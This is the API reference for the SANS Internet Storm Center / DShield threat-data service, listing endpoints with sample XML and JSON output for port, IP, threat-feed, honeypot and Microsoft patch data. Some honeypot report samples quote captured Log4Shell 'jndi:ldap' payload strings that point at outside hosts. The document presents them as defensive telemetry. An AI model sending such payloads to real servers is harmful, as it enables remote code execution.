Internet Storm Center / DShield API

We are using a simple REST API. The following functions are available:

Note: Output formats include xml (default), json, text and php. For some feeds that are simple enough, csv and tab (TAB delimited) are available. Just add on to the url as a parameter such as http://isc.sans.edu/api/handler?text

Our data often uses lable to identify the type of data for a particular IP address. See here for details about the types we identify.

Proper Use of the API

  • This API is provided as-is, on a "best-effort" basis. Do not build your business critical applications around it.
  • We do not have strict rate limits, but at times of high load, you may get "429" responses. Please stop sending queries for 5 minutes if you get a 429 error. You may want to obey the time specified in the "Retry-After" header. See RFC6585 for what this may look like if it works right. But doing so may require a basic understanding of HTTP requests and responses.
  • Do not resell the data.
  • Please let us know how you use the data.
  • Consider contributing data by running a honeypot. Don't just be a leach and use data without giving back.
  • Currently, we do not require authentication (we may in the future). But please add contact information ,for example an email address, as a User-Agent, to allow us to reach out if there is a problem.
  • We block some "default" user-agents and follow the "you have to be smart enough to set a custom user agent to use this API" rule.
  • Our customer service bots respond to email (jullrich - at - sans.edu) and enforce rate limits by using snarky short replies when under high load.
  • It is ok to use this data for commercial purposes, for example to protect your own company's network. But again: do not resell, do not complain if it doesn't work sometimes, don't blame us if patients start dying in your hospital because the anti-ransomware script you built around our data turned off the IV pumps after it saw some badly formatted data.
  • If your lawyers ask, the data is provided using a Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0) License. For non lawyers: A generic "Play nice and don't be an idiot" license applies.

API Calls

backscatter

Returns possible backscatter data. This report only includes "syn ack" data and is summarized by source port
Parameters: Date (in Y-M-D format), optional: number of rows returned (default 1000)


    http://isc.sans.edu/api/backscatter/2011-12-01/10

<?xml version="1.0" encoding="UTF-8"?>
<backscatter>
 <sourceport> 6000 </sourceport>
 <count> 563542 </count>
 <sources> 518 </sources>
 <targets> 94654 </targets>
 </sourceport>
...
</backscatter>

cloudips

Returns a current list of subnets used by cloud providers (Amazon, Google, ...)


https://isc.sans.edu/api/cloudips
<?xml version="1.0" encoding="UTF-8"?>
<cloudips>
<cidr>
<ip>129.146.0.0</ip>
<netmask>21</netmask>
<provider>oracle</provider>
</cidr>
...
</cloudips>

cloudcidrs

Same as above, but instead of returning the prefix and netmask in different fields, the standard "CIDR" notation is used

handler

Returns the name of the handler of the day
No Parameters

    
http://isc.sans.edu/api/handler

<?xml version="1.0" encoding="UTF-8"?>
<handler>
 <name>Chris Mohan<name>
</handler>

infocon

Returns the current infocon level (green, yellow, orange, red)
No Parameters

    
http://isc.sans.edu/api/infocon

<?xml version="1.0" encoding="UTF-8"?>
<infocon>
 <status>green</status>
</infocon>

intelfeed

Returns a summary of notable IPs. Updated Daily
No Parameters

Our data often uses lable to identify the type of data for a particular IP address. See here for details about the types we identify.

An IP may be associated with more than one category.


{
    "ip": "1.119.147.51",
    "description": "DShield Ports: 65529,16379,6379,22,1433"
  },
  {
    "ip": "1.119.195.58",
    "description": "dshieldssh"
  },
  {
    "ip": "1.160.6.79",
    "description": "talos"
  },
  {
    "ip": "5.11.11.10",
    "description": "tldns"
  },

ip

Returns a summary of the information our database holds for a particular IP address (similar to /ipinfo.html).
Parameters: IP Address
Count: (also reports or records) total number of packets blocked from this IP
Attacks: (also targets) number of unique destination IP addresses for these packets

    
http://isc.sans.edu/api/ip/70.91.145.10

<?xml version="1.0" encoding="UTF-8"?>
<ip>
 <number>1.85.2.119</number>
 <count>9843</count>
 <attacks>34</attacks>
 <maxdate>2015-11-12</maxdate>
 <mindate>2015-10-08</mindate>
 <updated>2015-11-12 14:03:22</updated>
 <comment/>
 <asabusecontact>anti-spam@ns.chinanet.cn.net</asabusecontact>
 <as>4134</as>
 <asname>CHINANET-BACKBONE No.31,Jin-rong Street</asname>
 <ascountry>CN</ascountry>
 <assize>108902447</assize>
 <network>1.80.0.0/13</network>
 <threatfeeds>
  <blocklistde110>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-22</firstseen>
  </blocklistde110>
  <blocklistde143>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-22</firstseen>
  </blocklistde143>
  <blocklistde25>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-22</firstseen>
  </blocklistde25>
  <blocklistde993>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-22</firstseen>
  </blocklistde993>
  <blocklistdecourierimap>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-22</firstseen>
  </blocklistdecourierimap>
  <forumspam>
   <lastseen>2014-05-30</lastseen>
   <firstseen>2013-01-05</firstseen>
  </forumspam>
  <openbl_smtp>
   <lastseen>2015-11-11</lastseen>
   <firstseen>2015-09-27</firstseen>
  </openbl_smtp>
 </threatfeeds>
</ip>

IP Details

Returns detailed reports for a particular IP address Parameters: IP Address
Date: Date of activity (should always be yesterday. Only yesterday's data is returned)
Time: Time of the report
Source Port: Source port the blocked packet originated from
Target Port: Destination port the packet was sent to
Protocol: IP Protocol of the packet (6=TCP, 17=UDP..)
Flags: TCP Flags (not all submitters are reporting flags)

https://isc.sans.edu/api/ipdetails/45.227.255.205

<ipdetails>
<report>
  <date>2020-09-21</date>
  <time>07:27:43</time>
  <sourceport>31252</sourceport>
  <targetport>22</targetport>
  <protocol>6</protocol>
  <flags>S</flags>
</report>
...

port

Summary information about a particular port
Parameters: Port Number
Records: Total number of records for a given date
Targets: Number of unique destination IP addresses
Sources: Number of unique originating IPs
UDP/TCP: Number of records with UDP or TCP respectively. The sum of tcp and udp may be less than <records> as not all firewalls report a protocol.

    
http://isc.sans.edu/api/port/80

<?xml version="1.0" encoding="UTF-8"?>
<port>
 <number>80</number>
 <data>
  <date>2011-08-03</date>
  <records>183473</records>
  <targets>29763</targets>
  <sources>7565</sources>
  <tcp>152255</tcp>
  <udp>151</udp>
  <datein>2011-08-03</datein>
  <portin>80</portin>
 </data>
 <services>
  <udp>
   <service>www</service>
   <name>World Wide Web HTTP</name>
  </udp>
  <tcp>
   <service>www</service>
   <name>World Wide Web HTTP</name>
  </tcp>
 </services>
</port>

portdate

Information about a particular port at a particular date.
Paramters: Portnumber and Date. If the date is ommited, today's date is used.

    
http://isc.sans.edu/api/portdate/80/2011-07-23

<?xml version="1.0" encoding="UTF-8"?>
<portdate>
 <number>80</number>
 <data>
  <date>2011-07-23</date>
  <records>357466</records>
  <targets>22901</targets>
  <sources>10084</sources>
  <tcp>332172</tcp>
  <udp>233</udp>
  <datein>2011-07-23</datein>
  <portin>80</portin>
 </data>
</portdate>

topports

Information about top ports for a particular date with return limit.
Parameters: column to sort by (options: records, targets, sources), number of records to be returned and the date.

    
http://isc.sans.edu/api/topports/records/10/2011-07-23

<?xml version="1.0" encoding="UTF-8"?>
<topports>
 <port>
  <rank>1</rank>
  <targetport>445</targetport>
  <records>601032</records>
  <targets>77374</targets>
  <sources>70889</sources>
 </port>
...
</topports>

topips

Information about top IPs for a particular date with return limit.
Parameters: column to sort by (options: records, attacks), number of records to be returned and date.

    
http://isc.sans.edu/api/topips/records/10/2011-07-23

<?xml version="1.0" encoding="UTF-8"?>
<topips>
 <ipaddress>
  <rank>1</rank>
  <source>071.002.215.038</source>
  <reports>235744</reports>
  <targets>659</targets>
 </ipaddress>
...
<topips>

sources

Information summary from the last 30 days about source IPs with return limit.
Parameters: column to sort by (options: ip, count, attacks, firstseen, lastseen), number of records to be returned (max:10000) and date (limits to firstseen/lastseen if sorted by these).

DO NOT USE AS A BLOCKLIST. This data summarizes unfiltered reports and may include false positives.

    
http://isc.sans.edu/api/sources/attacks/100/2012-03-08

<?xml version="1.0" encoding="UTF-8"?>
<sources>
 <data>
  <ip> 202.121.166.203 </ip>
  <attacks> 109314 </attacks>
  <count> 199219 </count>
  <firstseen> 2011-11-04 </firstseen>
  <lastseen> 2012-03-09 </lastseen>
 </data>
...
<sources>

porthistory

Returns port data for a range of dates
Parameters: port number, start date and end date. Default start date is 30 days ago and the default end date is today. The port is required.
Records: Total number of records for a given date range
Targets: Number of unique destination IP addresses
Sources: Number of unique originating IPs

    
http://isc.sans.edu/api/porthistory/80/2011-07-20/2011-07-23

<porthistory>
 <portinfo>
  <date>2011-01-20</date>
  <records>378520</records>
  <targets>33664</targets>
  <sources>15460</sources>
  <tcp>309213</tcp>
  <udp>722</udp>
 </portinfo>
...
 <portinfo>
  <date>2011-01-23</date>
  <records>357466</records>
  <targets>22901</targets>
  <sources>10084</sources>
  <tcp>332172</tcp>
  <udp>233</udp>
 </portinfo>
 <startdate>2011-07-20</startdate>
 <enddate>2011-07-23</enddate>
 <port>80</port>
</porthistory>

asnum

Returns a summary of the information our database holds for a particular ASNUM (similar to /asdetailsascii.html) with return limit.
Parameters: asnum, number of records to be returned (max:2000)

    
http://isc.sans.edu/api/asnum/10/4837

<?xml version="1.0" encoding="UTF-8"?>
<asnum>
 <data>
  <number>4837</number>
  <ip>221.192.003.231</ip>
  <reports>3</reports>
  <targets>3<targets>
  <firstseen>2010-01-12</maxdate>
  <lastseen>2012-01-23</mindate>
  <updated>2012-01-23 03:18:02</updated>
 </data>
...
 <data>
  <number>4837</number>
  <ip>221.010.175.094</ip>
  <reports>5,008</reports>
  <targets>4,307<targets>
  <firstseen></maxdate>
  <lastseen>2012-01-13</mindate>
  <updated>2012-01-21 05:56:28</updated>
 </data>
</asnum>

dailysummary

Returns daily summary totals of targets, attacks and sources. Limit to 30 days at a time.
Parameters: start date, end date (Query 2002-01-01 to present)
Sources: Distinct source IP addresses the packets originate from.
Targets: Distinct target IP addresses the packets were sent to.
Reports: Number of packets reported.


    http://isc.sans.edu/api/dailysummary/2012-05-01/2012-05-03

<?xml version="1.0" encoding="UTF-8"?>
<dailysummary>
 <daily>
  <date> 2012-05-01 </date>
  <sources> 429855 </sources>
  <targets> 173302 </targets>
  <reports> 13513903 </reports>
 </daily>
...
 <daily>
  <date> 2012-05-03 </date>
  <sources> 474285 </sources>
  <targets> 157945 </targets>
  <reports> 9872377 </reports>
 </daily>
</dailysummary>

Domain Data Requests

Recent Domains

Return domains first seen on a particular day. This will only return data 30 days back.
Parameters: date (optional. by default the current date is returned)

  /api/recentdomaisn/2022-06-01

Recent Domains By TLD

Return domains first seen on a particular day. This will only return data 30 days back.
Parameters:
date (use "today" for today, or a data in YYYY-MM-DD format.)
search (the TLD to search for. For example "com". Do not include leading .)

  /api/recentdomainsbytld/today/zip

Domain Age

Return data about a particular domain, in particular the first seen date.
Parameters: domain name

    /api/domainage/sans.edu
  

404Project Daily Summary

Returns daily summary information of submitted 404 Error Page Information.
Parameters: date


    http://isc.sans.edu/api/daily404summary/2016-02-23/2016-02-26 (upper limit optional)
<daily404summary>
<Daily404Data>
<date>2016-02-23</date>
<authors>17</authors>
<urls>1470</urls>
<user_agents>143</user_agents>
<sources>385</sources>
<reports>2807</reports>
</Daily404Data>
<Daily404Data>
<date>2016-02-24</date>
<authors>16</authors>
<urls>1457</urls>
<user_agents>184</user_agents>
<sources>400</sources>
<reports>2805</reports>
</Daily404Data>
<Daily404Data>
<date>2016-02-25</date>
<authors>17</authors>
<urls>1450</urls>
<user_agents>165</user_agents>
<sources>430</sources>
<reports>2831</reports>
</Daily404Data>
</daily404summary>

404Project Details

Returns detail information of submitted 404 Error Page Information.
Parameters: date, limit

    
http://isc.sans.edu/api/daily404detail/2012-02-23/10

<?xml version="1.0" encoding="UTF-8"?>
<daily404detail>
 <data>
  <url> /robots.txt </url>
  <user_agent> Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) </user_agent>
  <source> 207.46.13.147 </source>
 <data>
...
</daily404detail>

glossary

List of glossary terms and definitions
Alternatively, append a whole or parital word to "search" in API - http://isc.sans.edu/api/glossary/data

    
http://isc.sans.edu/api/glossary

<?xml version="1.0" encoding="UTF-8"?>
<glossary>
 <item>
  <term> 3-WAY HANDSHAKE </date>
  <definition> Machine A sends a packet with a SYN flag set to Machine B. B acknowledges A's SYN with a SYN/ACK. A acknowledges B's SYN/ACK with an ACK. </records>
 </item>
 ...
</glossary>

survivaltime

The average time between reports for an average IP address in seconds.

https://isc.sans.edu/api/survivaltime/2017-08-01
<survivaltime>
<cummulative>504</cummulative>
</survivaltime>

threatfeeds

We do collect data from a number of open threat feeds. This API will give you access to this data. Some of this data can also be found as part of the IP or Domain data we return with other API functions.

List of Feeds

https://isc.sans.edu/api/threatfeeds/
Parameters: none

<?xml version="1.0" encoding="UTF-8"?>
<threatfeeds>
  <threatfeed>
     <type>zeusecc</type>
     <description><![CDATA[ Zeus Command And Control Server from Abuse.ch ]]></description>
     <lastupdate>2015-10-24 09:30:00</lastupdate>
     <datatype>is_ipv4</datatype>
     <frequency>86400</frequency>
  </threatfeed>
  ... more feeds to follow  ...
</threatfeeds>

Total Per Day

/api/threatfeeds/perday/2015-10-26/2015-10-27
The start and end date are optional. The default is the last 30 days.
<threatfeeds>
<day>
<count>13345</count>
<date>2015-10-26</date>
</day>
<day>
<count>11673</count>
<date>2015-10-27</date>
</day>
</threatfeeds>

Break Down by Datafeed

/api/threatfeeds/feedperday/2015-10-26/2015-10-27/openbl_ssh
(or ommit the feed name at the end to list all)

<threatfeeds>
  <feedday>
    <count>60</count>
    <date>2015-10-26</date>
    <type>openbl_ssh</type>
  </feedday>
  <feedday>
    <count>48</count>
    <date>2015-10-27</date>
    <type>openbl_ssh</type>
  </feedday>
</threatfeeds>

All current IPs for a specific feed

/api/threatlist/shodan/2015-10-01/2015-11-05
Without date, you will get data from the last 7 days.

<threatlist>
<shodan>
<ipv4>216.117.2.180</ipv4>
<date>2015-10-28</date>
<lastseen>2015-11-04</lastseen>
</shodan>
...
</threatlist>

All current Hosts for a specific feed

/api/threatlisthosts/shodan (works for shodan,miner and onyphe)

<threatlisthosts>
<shodan>
<hostname>atlantic.census.shodan.io</hostname>
<added>2019-05-30 13:02:08</added>
<lastseen>2019-05-30 13:02:08</lastseen>
</shodan>
<shodan>
<hostname>battery.census.shodan.io</hostname>
<added>2019-05-30 13:02:08</added>
<lastseen>2019-05-30 13:02:08</lastseen>
</shodan>
<shodan>
<hostname>border.census.shodan.io</hostname>
<added>2019-05-30 13:02:08</added>
<lastseen>2019-05-30 13:02:08</lastseen>
</shodan>
...
</threatlisthosts>

All current IPs from all feeds in a specific category

/api/threatcategory/research/2015-10-20/2015-11-10
Similar to the data above, but for a specific category. By default, you will get data from the last 7 days.

<threatcategory>
<research>
<ipv4>74.82.47.7</ipv4>
<date>2015-10-28</date>
<lastseen>2015-11-04</lastseen>
<type>shadowserver</type>
</research>
...
</threatcategory>

webhoneypotsummary

API data for Webhoneypot: Web Server Log Project.
Parameters: date

    
http://isc.sans.edu/api/webhoneypotsummary/2012-12-10

<?xml version="1.0" encoding="UTF-8"?>
<webhoneypotsummary>
  <day> 2012-12-10 </day>
  <reports> 17 </reports>
  <authors> 2 </authors>
  <targets> 2 </targets>
  <sources> 4 </sources>
</webhoneypotsummary>

webhoneypotreportsbyurl

Search for complete reports (date, time, url, user-agent, source IP) that contain a specific string in the URL. JSON output highly recommended. By default, today's data is returned. But you may select a specific day.

Parameters: String from URL, Date in YYYY-MM-DD format. The URL string should be URL encoded.

For example, all URLs from December 11th 2021 that contain the string "jndi:ldap".

  
  /webhoneypotreportsbyurl/jndi:ldap?json
  [
  {
    "date": "2021-12-11",
    "time": "00:03:30",
    "url": "/$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D",
    "user_agent": "Mozilla/5.0 zgrab/0.x",
    "source": "20.71.156.146"
  },

webhoneypotreportsbyua

Search for complete reports (date, time, url, user-agent, source IP) that contain a specific string in the user-agent. JSON output highly recommended. By default, today's data is returned. But you may select a specific day.

Parameters: String from User-Agent, Date in YYYY-MM-DD format. The string should be URL encoded.

For example, all reports from December 11th 2021 that contain the string "jndi:ldap" as part of the user agent.

  
  /webhoneypotreportsbyua/jndi:ldap?json
[
  {
    "date": "2021-12-11",
    "time": "00:13:38",
    "url": "/",
    "user_agent": "${jndi:ldap://7e7372f5c19f.bingsearchlib.com:39356/a}",
    "source": "185.220.101.148"
  },  
... [ more reports ] ...

webhoneypotbytype

API data for Webhoneypot: Attack By Type.
We currently use a set of regular expressions to determine the type of attack used to attack the honeypot. Output is the top 30 attacks for the last month.

    
http://isc.sans.edu/api/webhoneypotbytype

<?xml version="1.0" encoding="UTF-8"?>
<webhoneypotbytype>
 <item>
  <reports> 278 </reports>
  <type> Generic index.php RFI </type>
  <cve>  </cve>
 </item>
 ...
 <item>
  <reports> 127 </reports>
  <type> Falcon Series One errors.php RFI </type>
  <cve> 20076488  </cve>
 </item>
</webhoneypotsummary>

openiocsources

Returns firewall logs in OpenIOC format.
Parameters: Date, Records (Max: 1000), Page (For iterating beyond 1000 records)

  • Date: Y-m-d format of the day in which you wish to obtain firewall logs. Default is today's date.
  • Records: Number of firewall logs to be returned. Maximum of 1000 per request. Default is 100.
  • Page Page of records to be returned for Date, for iterating beyond 1000 record maximum per request. Default is 0.

For example, to obtain firewall logs 1000 through 2000 on 2014-08-01, send a request to http://isc.sans.edu/api/openiocsources/2014-08-01/1000/1.

Here is a simple example of the expected output:

    
http://isc.sans.edu/api/openiocsources/2014-08-01/1/0

<?xml version="1.0" encoding="UTF-8"?>
<ioc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" id="44233BFE-2014-0821-3be61964f8a0" last-modified="2014-08-21T18:18:02Z" xmlns="http://schemas.mandiant.com/2010/ioc">
 <short_description>Firewall Logs</short_description>
 <description>Firewall logs from 2014-08-01</description>
 <authored_by>SANS Internet Storm Center</authored_by>
 <authored_date>2014-08-21T18:18:02Z</authored_date>
 <links />
 <definition>
  <Indicator operator="OR" id="44233BFE-2014-0821-3be61964f8a0">
   <Indicator operator="OR" id="44233BFE-2014-0821-1f0e79e965d2">
    <IndicatorItem id="44233BFE-2014-0821-75150a133199" condition="is">
     <Context document="PortItem" search="PortItem/CreationTime" type="mir" />
     <Content type="date">2014-08-01T00:00:00Z</Content>
    </IndicatorItem>
    <IndicatorItem id="44233BFE-2014-0821-08776eb79936" condition="is">
     <Context document="PortItem" search="PortItem/remoteIP" type="mir" />
     <Content type="IP">212.034.154.164</Content>
    </IndicatorItem>
    <IndicatorItem id="44233BFE-2014-0821-2449d037028d" condition="is">
     <Context document="PortItem" search="PortItem/localPort" type="mir" />
     <Content type="int">80</Content>
    </IndicatorItem>
    <IndicatorItem id="44233BFE-2014-0821-c4fca0bb8767" condition="is">
     <Context document="PortItem" search="PortItem/remotePort" type="mir" />
     <Content type="int">47783</Content>
    </IndicatorItem>
   </Indicator>
  </Indicator>
 </definition>
</ioc>

getmspatchday

Returns Microsoft patches issues on a given date

    
http://isc.sans.edu/api/getmspatchday/2016-03-08
...
<getmspatchday>
    <id>MS16-023</id>
    <title>Cumulative Security Update for Internet Explorer</title>
    <affected>
        <![CDATA[ Microsoft Windows, Internet Explorer ]]>
    </affected>
    <kb>3142015</kb>
    <exploits>no</exploits>
    <severity>critical</severity>
    <clients>critical</clients>
    <servers>critical</servers>
</getmspatchday>
...

getmspatch

Returns a Microsoft patch

    
http://isc.sans.edu/api/getmspatch/MS16-023

<getmspatch>
    <id>16023</id>
    <title>Cumulative Security Update for Internet Explorer</title>
    <affected>
        <![CDATA[ Microsoft Windows, Internet Explorer ]]>
    </affected>
    <kb>3142015</kb>
    <exploits>no</exploits>
    <severity>critical</severity>
    <clients>critical</clients>
    <servers>critical</servers>
</getmspatch>

getmspatchcves

Returns the CVEs associated with a particular Microsoft patch

    
http://isc.sans.edu/api/getmspatchcves/MS16-023
...
<getmspatchcves>
    <exploitability>1</exploitability>
    <cve>CVE-2016-0102</cve>
</getmspatchcves>
<getmspatchcves>
    <exploitability>1</exploitability>
    <cve>CVE-2016-0103</cve>
</getmspatchcves>
...

getmspatchreplaces

Returns the Microsoft patches replaced by a particular Microsoft patch

    
http://isc.sans.edu/api/getmspatchreplaces/MS16-023
<getmspatchreplaces>
    <getmspatchreplaces>KB3134814</getmspatchreplaces>
    <getmspatchreplaces>KB3135174</getmspatchreplaces>
    <getmspatchreplaces>KB3135173</getmspatchreplaces>
</getmspatchreplaces>